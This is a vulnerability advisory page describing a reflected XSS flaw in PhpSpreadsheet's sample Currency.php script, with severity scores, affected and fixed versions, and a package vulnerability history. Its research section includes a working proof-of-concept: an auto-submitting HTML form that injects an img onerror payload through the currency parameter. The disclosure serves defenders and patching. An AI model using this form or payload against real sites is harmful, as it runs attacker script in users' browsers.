PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
Unauthorized Reflected XSS in Currency.php file
Product: Phpspreadsheet
Version: version 3.6.0
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack
Impact: executing arbitrary JavaScript code in the browser
Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file
Exploitation conditions: an unauthorized user
Mitigation: sanitization of the currency variable
Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack.
Strings are formed using the currency parameter without sanitization, controlled by an attacker.
Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
<input type="hidden" name="number" value="1234.5678" />
<input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" />
<input type="hidden" name="decimals" value="2" />
<input type="hidden" name="position" value="1" />
<input type="hidden" name="spacing" value="0" />
<input type="hidden" name="submit" value="Display Mask" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.
<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />Figure 10. Executing arbitrary JavaScript code
Credit
This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | phpoffice/phpexcel | <= 1.8.2 | no fix |
| Composer package | phpoffice/phpspreadsheet | >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 | 3.7.0, 1.29.7, 2.1.6, 2.3.5 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
phpoffice/phpexcel, phpoffice/phpspreadsheet- Disclosed
- 03.01.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-j2xg-cjcx-4677 - CC BY 4.0
Vulnerability history: phpoffice/phpexcel
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 23
- First → latest
- 11.2019 02.2025
- Without a fix
- 20
- Exploited in attacks
- 0
Severity breakdown
- High 12
- Medium 10
- Low 1
Disclosures per year
- 2019: 2
- 2020: 0
- 2021: 1
- 2022: 1
- 2023: 0
- 2024: 10
- 2025: 9
- 2026: 0
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PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file this entry
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